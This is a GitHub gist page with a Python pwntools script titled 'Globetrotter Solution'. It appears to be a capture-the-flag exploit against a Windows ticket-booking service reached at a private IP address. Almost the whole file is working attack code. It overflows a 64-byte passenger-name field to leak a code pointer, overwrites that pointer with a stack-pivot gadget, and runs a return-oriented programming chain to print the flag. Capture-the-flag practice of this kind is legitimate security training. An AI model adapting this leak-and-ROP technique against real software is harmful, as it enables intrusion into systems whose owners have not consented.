-
-
Save gaasedelen/5fdf2cf102ada748b398969258d02b99 to your computer and use it in GitHub Desktop.
Globetrotter Solution
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import random | |
import struct | |
import binascii | |
from pwn import * | |
context.os = 'windows' | |
context.arch = 'amd64' | |
#----------------------------------------------------------------------------- | |
# Challenge Helpers | |
#----------------------------------------------------------------------------- | |
def book_plane_ticket(name): | |
return book_ticket(1, name) | |
def book_train_ticket(name): | |
return book_ticket(2, name) | |
def book_ticket(ticket_type, name): | |
p.sendline(str(ticket_type)) | |
p.recvuntil("Name: ") | |
p.sendline(name) # passenger name | |
p.sendline(str(random.randint(0,0x100))) # account number (unimportant...) | |
p.recvuntil("Ticket ") # trash | |
ticket_number = int(p.recvuntil(" ")) # read the created ticket number | |
p.recv(4096) # trash | |
p.sendline() | |
return ticket_number | |
def print_reservation(ticket_number): | |
p.sendline("3") | |
p.recvuntil("Number: ") | |
p.sendline(str(ticket_number)) | |
def modify_reservation(ticket_number, name=""): | |
p.sendline("4") | |
p.recvuntil("Number: ") | |
p.sendline(str(ticket_number)) | |
p.recvuntil("Number (Y/N)? ") # account number never matters | |
p.sendline("N") | |
p.recvuntil("Name (Y/N)? ") | |
p.sendline("Y") | |
p.recvuntil(" Name: ") | |
p.sendline(name) | |
p.recv(4096) # discard success message | |
p.sendline() # return to menu | |
#----------------------------------------------------------------------------- | |
# Exploit Helpers | |
#----------------------------------------------------------------------------- | |
def offset(address): | |
exe_base = 0x140001000 | |
return address - exe_base | |
def leak_code_address(): | |
# create a ticket with a faulty name (64 bytes) | |
ticket_number = book_plane_ticket("A"*64) | |
# request the ticket be printed | |
print_reservation(ticket_number) | |
# the first 64 bytes of the passenger name we set, to 'A'*64 | |
p.recvuntil("PASSENGER: ") | |
p.recv(64) # discard | |
# the following 6 bytets is a leaked code pointer we rubbed up against | |
leak = unpack(p.recv(6), 6*8) | |
# clear remaining bytes and return to menu | |
p.recv(4096) | |
p.sendline() | |
# return the leaked pointer | |
return leak | |
def exploit(base): | |
# build the payload to leak a stack address | |
pivot_payload = "flag\x00" | |
pivot_payload += "B"*(64 - len(pivot_payload)) | |
pivot_payload += p64(base+offset(0x1400012da)) # add rsp, 0xa0; ret; | |
# | |
# modify the reservation we leaked the code address through | |
# to overwrite the leaked code pointer with a pivot | |
# | |
ticket_number = 0 | |
modify_reservation(ticket_number, pivot_payload) | |
# small rop chain to print the flag | |
flag_payload = "C"*32 # garbage | |
flag_payload += p64(base+offset(0x140004154)) # pop rax; add rax, rcx; # rax will now point at 'flag\x00' | |
flag_payload += p64(0x10) | |
flag_payload += p64(base+offset(0x1400010d6)) # push rax; pop rcx; | |
flag_payload += p64(base+offset(0x140011017)) # ret; (nop, for stack alignment) | |
flag_payload += p64(base+offset(0x140001000)) # print flag | |
# spray the stack with our secondary payload | |
p.sendline(flag_payload) | |
p.sendline() | |
p.recv(4096) | |
# now trigger the rop chain for a stack leak | |
print_reservation(ticket_number) | |
#----------------------------------------------------------------------------- | |
# Exploit | |
#----------------------------------------------------------------------------- | |
p = remote('192.168.192.136', 4321) | |
# leak a code address from the binary | |
code_address = leak_code_address() | |
imagebase = code_address - 0xBC0 | |
print "print_plane() @ 0x%08X" % code_address | |
print "globetrotter.exe @ 0x%08X" % imagebase | |
# leak a stack address from the binary | |
exploit(imagebase) | |
print "Got %s" % p.recv(4096) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment